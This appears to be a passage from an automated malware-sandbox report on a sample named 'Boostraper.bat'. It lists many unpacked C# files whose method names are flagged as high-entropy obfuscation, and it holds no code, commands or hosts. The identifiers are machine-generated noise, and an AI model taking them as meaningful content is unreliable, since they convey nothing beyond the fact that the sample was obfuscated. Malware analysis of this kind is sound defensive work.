Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, vAZLthrMYHn2tiEtZZQ.cs	High entropy of concatenated method names: 'khIR3ewYCM', 'guxRTRyfYP', 'OIURdRVKEk', 'ofjRbklbyR', 'qKoRe2pt1j', 'l9FRND1SUQ', 'P2HBVTuICIUOPp7AkLI', 'UwxZ0TuTbLGdSNC5TVb', 'o0UGlCuNVI8xI6ItOcW', 'vUVZnMu0qMcrGlqD77x'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, QhTewtrx0ZtE5HNqBd4.cs	High entropy of concatenated method names: 'sg9', 'vVhpUi4K3T', 'CKrjsgyKSI', 'cSxpAm8vCq', 'muN4TuaiEHIk90wGsEq', 'oB59ryatifENQQROM1I', 'syMtHea3wCbos9ivelx', 'uMUrQdaZ7Sn2RY0Q4MT', 'Vl0cDYaG4RthHyQyGXb', 'VoeBOSa16tBpmsqhZfy'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, sl8weTsOb6p4MIacIS.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'fmRMq9dMlPCYVIZnx0T', 'dTlc9ndZG05Jhu65FqS', 'vC28fcdGqp5gArfWjtu', 'el5PaWdiadRQuubuhLi', 'rN0yPXdt3HpNNW0iHy3', 'T5Z10kd3p3g3ivE5eri'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, xwa3fWjrbxtMEVi5wmN.cs	High entropy of concatenated method names: 'Er9OVM9ayiNttgZPVF1', 'NpNPPX9mjp7O5NfNod1', 'jPElqf9WnqQRU52390M', 'na0A0l9SixiXnEBeyGZ', 'IZbOlqMOkj', 'ImZwyt9yn68c9GTEyjb', 'XYWFeZ9TKrCPL6iEIpJ', 'vcTRWZ9nqvsx8OwCSCf', 'tX65xH9QsHKlEyCEjDv', 'iCe3qu9N6rKerkNnBXa'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	High entropy of concatenated method names: 'I6J8pwPphH', 'd5s8xsAk33', 'dgU81ffwmY', 'D7P8ujSnNL', 'PIc8KTfMOZ', 'GGC8yQ5lex', 'yaU8XCwWK1', 'hLXb8dvnv6XeXeZGaV3', 'U2MJFKvawgU7yZ9rRmb', 'Kq8v31vmmQYki9wNJWA'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, IZdAEiH2yK3LxhCKGL.cs	High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, j10hDWBoSPwvWlO9n7E.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'oMYdDZheqyugkD6bkpa', 'tXceTXhEV3TUJDhnCnI', 'z5orH6hfi4bgx9p8uwm', 'tmRXwthk6dAUhZsvXyR', 'lvtPwih41koanrKmZca', 'EhXO5Shs0t62B4fj2V3'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, mdrs8PmxFjIDbcguv4.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'NakT7Mmgp', 'h42D0uUBlo06v9im8Bh', 'CxolmfUe87nyZngrguE', 'ERJJHYUERUwKTTTuSUL', 'um3oXgUfclc4W59RNWf', 'lTYB5BUkdY5yK35WRC1'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, PvSVkBMyHxO4FLUmLBC.cs	High entropy of concatenated method names: 'VfL7xYfZMY', 'HKE71FETHy', 'Uub7uRXd2t', 'gDn7KjHlvk', 'Bif7yA1BtC', 'ER32ZXTuoeASsokKEPs', 'jBBuu3TYOKJ63F2XNuQ', 'hd0iflT2CIqeyXY5Ul5', 'dkFoYLT5XtDf6FYvMei', 'qEZHY1TWeyIDOFLqwJm'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, Mm0m5MMta0yoaWbtaBv.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, TV2FSMcAxwLBrtoUtB1.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'JkmVlft1on', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, SiU1DsMpTXSRwKJpTqM.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, AAQsvtBZRi879J0n7PM.cs	High entropy of concatenated method names: 'faiAUa8PFh', 'mwOAABFCvK', 'lJhA8mg2cR', 'GI3Jx2L1tUQGyN0Lwsi', 'NYXj8mLKnwoqT8jKk50', 'Yu02PCLtAWj6kYfHx6Q', 'XHYMSEL3yhnLtSWD8S5', 'AteKBbLXBf04WETA2n1', 'DHdQ5vLJJtpLtxfZcUn', 'neCTu6LDPGhOJa2oiaP'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, O37HlYBTIAO0EUS2Pdc.cs	High entropy of concatenated method names: 'Bu7UsTEKW8', 'gmSmRnLEfyKOYSi6SM7', 'erR845LfqP8twRLCacL', 'eQtdVZLBDdVySkxAB5I', 'NJnA76LegP9DWBCyVvk', 'nHK4uYLkKCNCgc9FaY2', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, W4CjHRW0JQUg2PACxmr.cs	High entropy of concatenated method names: 'LQYB7Y7Wxc', 'bmHBkAif4K', 'omSmORFnC6Jm7JavRHZ', 'wZpSKJFQ7Bt8xnSISKk', 'rletqaFaSJeGbD0i7C1', 'ftUSGHFmKffcrLc7PDw', 'aW2GB2Fyb4B8h11LISc', 'gkXSNwFTkCniSrmDs5q', 'IFTyVwFNyGgqNvmNKOa', 'ed8BvfFIklE8WNOWo15'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, zojT3oIt66YKwuQF0wi.cs	High entropy of concatenated method names: 'i3tpjI44qoyJP', 'VrT1E3ZFhRV4nYbwn3M', 'U0RLAbZocoo2Y1243CL', 'cIerHUZRBoCWO7ZOn2E', 'jD8rmAZYjS0k7fgkGC4', 'VVcmRXZ27IOXZABfyc5', 'uXFQljZv7g6s8DMeewr', 'ib5uh8ZOQv93I1adCM3', 's6xdn9ZuQMFiZpiIoRN', 'Ug4Sa4Z5qx8tsMB9ka0'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, qQA3Mn4XQ4ad9VeOGF.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'TdSEbZlDeKIUatybf14', 'JxwvNslrDenqOXfPjOP', 'Hh0l9HlpIKsX5LXoWn5', 'E1aAG9lc53H4C8T09dF', 'UJDlyNlzuxEaV36djgK', 'WqbiOogARoKfVV6jRqe'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, h6hkrQWoMqFySJWrpq5.cs	High entropy of concatenated method names: 'dneBsW8VYF', 'AuhBvPPI52', 'eI1BzK4NhR', 'kMStS8V9R6', 'WsFtUPC3Wp', 'pnBtAGG75F', 'E3Gt82jSZP', 'oirtBIxgjM', 'FT4tt2Q2B2', 'WNQDU3oJUnODCGE9PlL'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, RT0dAdMsiLsTaP9tyYd.cs	High entropy of concatenated method names: 'FXWmqsxW0A', 'dl1mCXmZqN', 'Rr2m7vlCSl', 'n3gmkqQ726', 'F9ommMkYSJ', 'k64mhmVhlE', 'kbfm2EmEVs', 'hKvmwCxjFJ', 'b0NmfQsja0', 'ojQmPN5Nx0'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, nKCpOJjvjpoWNqlGbkE.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, vCEhifMjEh0niwB70aU.cs	High entropy of concatenated method names: 'XpjQ2e8Jfk', 'D0jL3OQ23EPktHlQkfc', 'KGvIGiQufoO4jPPyb5v', 'AaJXlEQRCO4kmrFeLgy', 'XfyssIQYPupRM6y74gi', 'GcFcWZd25e', 'vbKcGac7rn', 'Emycp6fag0', 'olQcxQToQc', 'otPc1g2oyy'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, oZeh9wF0Ec3GVwW1UZ.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'CxYyMFUxfhwLGcvcBwG', 'ay188DUV7EZ6uiOlcuk', 'wbs2vxUqTbJMsdHaZtK', 'WlUQCxUvpDfkLv1dWy3', 'aiUZXsUOFh27qiNACQV', 'nDfeD9UFNBXdAeIp2LO'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, sCgwSPrsFIULERVK15U.cs	High entropy of concatenated method names: 'HyYdC4nEjih7u1rAouj', 'OXP0JenfGoTWQcsJ1yl', 'Bxq8jVnBlX7YU2SsdSp', 'kmICrhneEUQvUhu6Ybs', 'IWF', 'j72', 'qcnc2jh98h', 'C1wcw3UjQO', 'j4z', 'RSIcfqq0PJ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nG1qIJBR2Y4xKaKH9HQ.cs	High entropy of concatenated method names: 'JyOAnaM5UT', 'IXqAI0QS9Z', 'AsRAle1VmK', 'W5oBqKVx2hes6jEdmft', 'VM4NB9VhP0rZb8s4hwy', 'VxCMQnVLW8RudacVBJT', 'YfOx6kVVMbhSAP1YUm0', 'YqFgj8VqMvxgmENEiHp', 'n221dvVvKllVuwpdQrX', 'G6xAQ3VOKqnQhtwV9qt'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, iwdOk7rVoajop0BOFaA.cs	High entropy of concatenated method names: '_223', 'R2Vm8uWY8eX1p1EVO0F', 'U6TwuFW29KppFIeXB0f', 'cBIwBUWu3obQ7oAiZMy', 'y0gecmW5Mn3U2xEN54N', 'odxHcyWWgT1JgfMhylt', 'FnKLXrWSoN4gfxCkf9t', 'i4ANrOWaYvI3JOOtjmh', 'hfGUOLWmoAbWehRUUU0', 'dkLWx6Wn5i7nDGQQ4hk'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, aOryJDriYwtUgrydFm9.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'bPfg8Iavy3WqkYFPbAd', 'Fln8n3aOfa6QOgNXCkX', 'MRy3smaF8E12MSucR7Q', 'aBWLubaol13de6k7udn'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, cbywwVrHRBDTvnSxOOl.cs	High entropy of concatenated method names: 'GUYjmnJHou', 'RItjhiKX37', 'cHBj2fMr6t', 'tNVhxVSwUrhDsvWvlXw', 'VbUoi1Ss5WPsh6v5q2X', 'mk9ITLS6U3oG7baSLfp', 'FNFjCESMxedIZbax9c5', 'aUqj9KUfb1', 'HlwjRXmlhv', 'ol3jMrVIeB'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, WdPrrvr2H542uuXObaE.cs	High entropy of concatenated method names: '_269', '_5E7', 'v8hpkV5cjF', 'Mz8', 'MHdph3Cs1l', 'BD16Npm1kkTd5bFOvi2', 'eksPXLmKxihCC3snLJJ', 'huCaXTmXhxdPhHbEHP0', 'hIPwGQmJX1KaOs05KvA', 'PiM11gmDxnS7e16J0xQ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, RUPnC7BkTfMwbaDJbNT.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'bMFZhRCksU56pKtW62O', 'wtKp3OC4cmMiZenwXf5', 'kBr3f3CsVyjjoOJhGwb', 'jPUHImC6QiBVWcm2I84', 'Xmq9y0CwdFQllPIhCNb', 'H9T1iXCMWYThYh4vSGZ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, Yl7FxQMfO4jhxCST4WE.cs	High entropy of concatenated method names: '_7zt', 'qR8FP1bPw8', 'V9pFOKA1ao', 'zBwF5EF89V', 'X9BFEKy37I', 'lH2Fn71T2Q', 'V2aFIuGakM', 'w3aKn0yapVXx1XiuWQx', 'PQvcetymS8KcgBUKtdZ', 'WlVkhwyWvaOWvADmgAb'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, GaOPaBMbPZgFqeoQB3J.cs	High entropy of concatenated method names: 'KJjFxByMOf', 'omnF1Vp7en', 'CcQFu4pcAr', 'BDdFKgtuLC', 'svdFy0rZw9', 'WQQcqhyBJRAfexqOIJC', 'vVhI6nye6DuL0ZB3dIo', 'nnYhv8y9jslOr36jY7I', 'Okq6Bvyb3DVdl8u0RbU', 'Oj9ceQyEOgO1hb270k6'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, AQWiJPTiPFN34L4HPg.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'xnvsJdleXvtT4GEaLvD', 'vtYx59lEwOjkF2ZVLhr', 'wthFZLlf7a9puFwQ3Mj', 'w6jj00lkbp6Z0MJH4qV', 'UTgLUll4QCkKFBeLfHG', 'lU0eLIlsS3AeTNpYKuE'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, noKJiKWYFDOsNg251nQ.cs	High entropy of concatenated method names: 'pbxB5c4MKp', 'z4xBEQc748', 'NeRBnycEhg', 'fIkBIDrowj', 'U2pBl2Rpe2', 'jVMp8coAl87t7fvMGEx', 'om9U5uoHGDTTwLpsW7W', 'HqdY3DFc4JJlwvUN0A9', 'ltJ4IeFzgJSUt1kRt63', 'ax0ULcoUs5aj9vNGuQ2'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nefornByLkXhBSYqSnG.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'fgaKiajcr9EPBErSaLL', 'CDtJDyjz9YLpL835dCK', 'GTM7pthANbsPLv8wYBP', 'HHY6KyhHm6WaZyh1aMx', 'cs3qHuhUsrAuANuqqDV', 'Ry8IKKhloShgCwj7tvJ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, ypsiiPrJtZtwOsyj0la.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'j1npcS7MvM', '_168', 'h3e3EemQUo46aV1Lk4w', 'd3sMITmy0VdoQ220flP', 'eOrZ74mTH4QuT1JjJsL', 'DQU3sfmNb2ZcMgYyMep', 'YmMNxGmIDfa5XnG4PGF'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, EIpH9ljyK4dfwq2jZ73.cs	High entropy of concatenated method names: 'hE7lXZyS5a', 'EOwlovJ2Tk', 'ekKlrr3pnH', 'etnl3X2xIt', 'jlTlT0eilH', 'bu9nF9ENFgfU8cXtXQt', 'HsFHmsEyZ1pdxpEaMw8', 'Bk2uURETnulpTi6ebRP', 'orC9tFEI9iFnrXsHhda', 'drfn29E0klKn9yOUoaB'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, EexacXjE70jy3U4d957.cs	High entropy of concatenated method names: 'mbNl0u3pMY', 'FLrlDYHW2Z', 'vNKlJaY3sS', 'f5cl48tGUl', 'M4olLFeyyN', 'fYplsPZjpN', 'qqba8LEi5SYOxUqiEkg', 'zQK7oYEZ6cAcZclgTLg', 'lUk9x4EG9PXiTmjUS5s', 'jrWUtwEtVPmPm5rmmEH'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, r557ZOrO9LM9Th67WB5.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'NrRciXqRbj', 'VT2pFVmg16', 'GcfcQd0kDN', 'aKRp7nR9h8', 'jAHPfxmfKVSQLVfqv8m', 'Wl8auWmk0UQIV6pUyO4', 'TNxuY3meeoM7Ys2tgIC'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, AYPbygI6thTL64gAPb6.cs	High entropy of concatenated method names: 'aWkFhjZyqUwOdtYawS6', 'PqKNcsZTOCQIOctBbAb', 'I4Qe9VZndvPeAex5rSX', 'fy9RrEZQFptKNxHEl5m', 'll2GkjGdFN', 'dJHRAtZ0g3TM6K81wUC', 'P5ZDPTZ85AgwnvFqpfN', 'JWan6KZ7AQklFm90tMw', 'LQGFfSZ9HDvHCMhOpMJ', 'mC2CSqZbhnkjBYElGxh'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, rdOiZhcujdG6miU9NuG.cs	High entropy of concatenated method names: 'VdEYnM8H86', '_1kO', '_9v4', '_294', 'dckYILnK5r', 'euj', 'TuvYlPxOrY', 'xomYqFWvUU', 'o87', 'W9LYV4OHVo'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, LauxEMIhEbfMnQDOJg.cs	High entropy of concatenated method names: 'Xfc74W6uk', 'mYoT5Q9JADbZRLginZ', 'kniPWq8shLFCKWJDWr', 'VwGqOf7EdOiNGjaJ4h', 'vHgnyqbCN6x4vKY3tj', 'AUsUNmBMCQmImboEE4', 'cL9AEyXS8', 'AZD8syRB7', 'TPNBqFWBb', 'S6et7o8B0'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, VApGTQBi9mqcvXGBoR4.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'GS8AwQjnianO7xVYgNC', 'rsadHQjQiuWvXDDatgU', 'VI8aqkjydywe1x8gESI', 'BQOkXdjTivN35NLD5f0', 'GfbUj2jNNBgBt8Q2LVO', 'Etjw5RjIOL7WJCLd2IA'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, ogZ48mWTn0LIpD6JA4O.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'ODrt1yTCZG', 'nsftuB6CUn', 'F82tKnEmcc', 'KsZty7pWy5', 'tINtX7pcsJ', 'RgKA0OYhDnCWpDAX5Gp', 'RT0cb4YLaCo4SgEe0q4', 'nKivsVYCd8Sfo9cdmYy'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, d3jpvAOWotBfy8NDLN.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'lgUHNAdFIJvk1ddS4P1', 'RSGAWpdo6gD1us723ZT', 'PLQcbrdRTZfIWGSR6OJ', 'vVUsu4dY7TWoORkD68p', 'xXiNlgd2Zx6qoIuWOcL', 'PW79WRdusSxbDKdaf7R'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, LPsXFUBgN9wLVU5Rw5w.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'a09MNOjAMeZyfDiBlmi', 'FljLLPjHMEV0qtLaVwF', 'TOnLIKjUfeXYkBtjqo7', 'UOcQS7jlnJTKyZLumJj', 'JhkBpbjgE4t4XuF5vOG', 'Vrs4bVjdhDF3tOpRNLZ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, s8Z5ehCJCXCR27KqRb.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'rJ8KXTUpCYLpDoNinhc', 'mbgF1WUcIGrymk7yt7e', 'DT0pWdUzJ5EtQ0KFaTQ', 'p12QJulArhxLN4WSmp5', 'uwCkSclHuv1kiAMKbNk', 'n6hHl7lUa8tapSaXIwp'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, GJpY12rLYQ6CruIKInr.cs	High entropy of concatenated method names: 'vmujpCOiGY', 'uR1jxKTTtP', 'i7OGifa2JF7Pa157Pc0', 'iawS76auvZ5w69mYZAZ', 'ntXmB9aRMu1QxffNqLr', 'TablwfaYDZDnhU9EpsU', 'cDV74la58ixBDjf730j', 'ueE3dpaW1NWT3ioBb5r'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, ALVPwijwLrokUU03Q4Y.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'SECqIaAH1P', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, DXqKox56NeI6Fw0cbS.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'cVRBNCdXpmUwJBbJ4xW', 'LKs9MUdJFAscabtFMqs', 'qhU2GCdDLn2Rwt8Uvvk', 'gMxZ5AdrSknItUYEfiD', 'MZBdcmdpXPbJ6Ys848W', 'NEoOxAdc2bsNGMBXDRI'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, DkfpQHBJPRnnYVNsVbM.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'DvcWBtxWSxVhyt1iQD4', 'opjNuJxSJq4o7IHMhTQ', 'pGUvBWxabnafr3xOYmr', 'g0rBikxmGprMSEmOWXb', 'HVUcI7xnbHyuPR4nodW', 'lrmJdexQDUOQmyNTlY6'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, SKpS3DI1N6i7ZiLPSm1.cs	High entropy of concatenated method names: 'ocfGlJAlwS', 'topGqRXDa6', 'CyTGVNuhBu', 'fZnGCM7NAu', 'B2gGgsV35D', 'LYlGHQ2d76', 'YvZGYXIc9o', 'hegGWWRw91', 'blXGGCveej', 'CvcGp5BGG8'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, wXZJLqB1qXnWnMYLadD.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'XB5HTljGSR7pogJZsgP', 'KCaGR3ji29iJtqyL8iO', 'Uiy5LpjtexMhkN7ka4Y', 'OqDqVJj3mLG6o6Q8Aix', 'QIJ8gJj1rGmI1cFv8t7', 'V0hquNjKfst2OIlrY4h'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, mnAS47cW5lK7CvbnxgO.cs	High entropy of concatenated method names: 'OYQVMaZa4m', 'HArVj419U4', '_8r1', 'wYmVcnhwtv', 'MFiViJgaoq', 'MgxVQaLggm', 'cTsVFVCbIh', 'l5IEw44o84xhQGTV4OX', 'YOmFeE4Rs7VfusAfZGv', 'pAMtnA4YVS4TrqPp2BS'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, q0gV2ujNZdS88utwIpT.cs	High entropy of concatenated method names: 'OHIqBxtESr', 'g0OqtLjkjP', 'rEHq9cBXgV', 'vPdqROAsKa', 'GdpqM01iZn', 'HSjqjOit9C', 'To2qcAatoQ', 'UbcqixCMUI', 'Uv5qQSH63n', 'B9nqFGop36'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, u0UVm7WnkNNi5WFbHtE.cs	High entropy of concatenated method names: 'Fsq8sU0nZa', 'HUg8vVW9Yc', 'sk83SFOuDjtP40IkfpT', 'amk25fO5F6yBZr9NZfd', 'st1ocLOWwiQ7ugs9YEP', 'QHSnRFOSxoQS2U7fZHI', 'tRhdgJOai361GkUleI7', 'tyTAdcOmC3lOgBDJSb9', 'nCDciiOnMNBE0au35eL', 'uRKYrIOQvaEZj05yJ3O'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, VRCGVpBpHvkr7KZ8rQ3.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'ShhqwhCCbHEcDsW15J3', 'kjwgMHCjmH0eJetEsIo', 'gAriIrChstQHcRGrFLW', 'bdQUViCLBmJpxagcCgI', 'rE1aQBCxDvEFRpOW8J5', 'l5SeqbCVhibdKuV8KJZ'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nQtCklzUwX1MjVy8uH.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'DZuJA2PlqxiWQ9CnMr4', 'IXRTZSPgIlxZ65ZKc0U', 'dQ4WpiPdm98GSXDj0uN', 'Tn9E9LPPo7ZXyb1lfK1', 'J6rOR9PChhrqXkvGeD8', 'tKuvYyPjRWLjCEXx27Q'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, ibORS1BHoIevwW6KNp0.cs	High entropy of concatenated method names: 'IIeUY4uOIc', 'TTNBsXjYSquatqBH1io', 'fFgSDRj254b0lpxQb41', 'xJFB4GjoHDlnfnTsIkv', 'B8N2fJjRF6L7PPrmKPa', 'yOFMhljuWuIg0vkJOJo', 'LQQ6xij5Rrkw2sVJ3BC', 'L37IhqjWQI2PQ6At01J', 'GBRggojSsIXICZW4Q9d', 'f28'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nhNjwtWRuIQ0940ZsMc.cs	High entropy of concatenated method names: 'bLFRq6L1AN', 'fd5vI8238FTt8kHhSA9', 'iKQXqV2iakulaOOFtQC', 'PMq7CF2tW5avnUYq7nt', 'yOOhg821nZ9GE9Pjwum', 'mhbLmE2KGkECuqRwj4n', 'bpsRfLUYl4', 'AKVRPTFpfE', 'q6uRObyMul', 'ItwR5kVUmX'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, dwXKjsWUnMJ5TvTTxDW.cs	High entropy of concatenated method names: 'OEHtYCaXh4', 'h0uACYRp9K23XQx6k7Y', 'eMLKmQRcMh3MSmCYVJA', 'FKpCXkRDQdxANRhpVrG', 'KbdQu0RrVOvYSpLHnHy', 'zehUZ4RzBs0PaNJFVli', 'Cy7Ue9YAfjn14vNZFeg', 'pRj1sdYHFyWcyhmk4vW', 'rhNRQ9YUHn7YNb5T7Om', 'qan2rGYlD6OjoE1ZdKo'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, lKTqmnBBWjuNeArDaZt.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'Xc4FYRPutLxsHESLeba', 'YsADuiP5HgETpaEoEmY', 'BxNUPYPWfPHvP836ns8', 's2AUMJPSrqi1oUoPN3Y', 'iWSkgqPaEKSkvnZx4iO', 'rdDkwuPmcbsSgT9Lbo1'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, sy90LCBO2v1SIL1TiQG.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'zWWIDix7Qjl1I1WiA11', 'UST7aVx9oAY9N4KJ1Pb', 'DUTDwsxbaGWgEYAXIUk', 'w4COMSxBxb7QEmjWsRG', 'hGrKcuxeOAAw0IkFPZQ', 'zVW0fNxEOTG1WaiNios'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, n9nCY0Bjx3Ad3g3KKom.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'vubFK6PZjgjuTdr7iZN', 'sRwMUaPGHjDpFG0iXvd', 'Re3ITwPi8JfkfRpEANT', 'ribbE8PtXRYsyOtZsXq', 'nsrs6gP3tv0CtT6KH9a', 'XVU0cpP16ROAoig75Wi'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, FQXyBIBVhfEhAvdk2ma.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'PAEE62CTEJdspmyP84P', 'tfjq2ACNcrcrHIGlVam', 'cbsNKICIBEaqIXgJict', 'XTX4HCC0OF3wORXy3NZ', 'WhmCVmC8hSGZ91TQLWO', 'H3tVCBC7keXTpyexswR'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, u9pYlGjRWcbKD194nX2.cs	High entropy of concatenated method names: 'S5BqgK8mEc', 'mHxqHG0h31', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'B30qYkNV2l', '_5f9', 'A6Y'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, xqLvUDcGrtHTZUMqJI1.cs	High entropy of concatenated method names: 'acDqbk2bFo', 'sMYqep9wIZ', 'txIqNcj8hU', 'oEfqaaGLUt', 'abEqZ3yGkJ', 'fGfq6Zgp42', '_838', 'vVb', 'g24', '_9oL'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, FUpKt1M5OZvdWng1vgP.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, NGLic5BI1ehHEqNf9pV.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'Oxtbb9PJVaeUthUpIf5', 'JaxyD6PDe8gY2nW74Sa', 'feJExFPrRRUmxeWGlZw', 'rBmJVmPpLoxLQfZAJmJ', 'yabH39Pcje09qjXK2Tj', 'pH4chePz9NRX0d2u4qR'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, ONVoboMuJc5F8SxpDQ8.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'nl8kmJ5NAU', 'JJwkhNhnSf', 'r8j', 'LS1', '_55S'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, a5kZJucmijf1eql0Cvc.cs	High entropy of concatenated method names: 'RL0ZSVwgxuHTqfiHn7Y', 'xQWPgvwdpfaKH2U5AMS', 'NqLRsuwU6jSoefriLcW', 'QxI13WwlhGPdImwW4qh', 'quSC1N1L0m', 'WM4', '_499', 'GYECu3mDrF', 'w9mCK5ZsaQ', 'mIRCyO673R'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, luPHVMrkH27gKHd0CgT.cs	High entropy of concatenated method names: 'YBeMTfg2yj', 'bj8MdaooWt', 'mMbMb6kNIa', 'qinMeblIcg', 'cvGI3PWbdG2tiNYHt1n', 'xxjrU5WBHCVyYuoAUDi', 'vGbTptWegBjbrUAaRdY', 'R8Re13W7cbTx4ZcOiS6', 'B8oLKOW9gcwM4nH4lO1', 'LwqlybWEg8QcoA6vceW'
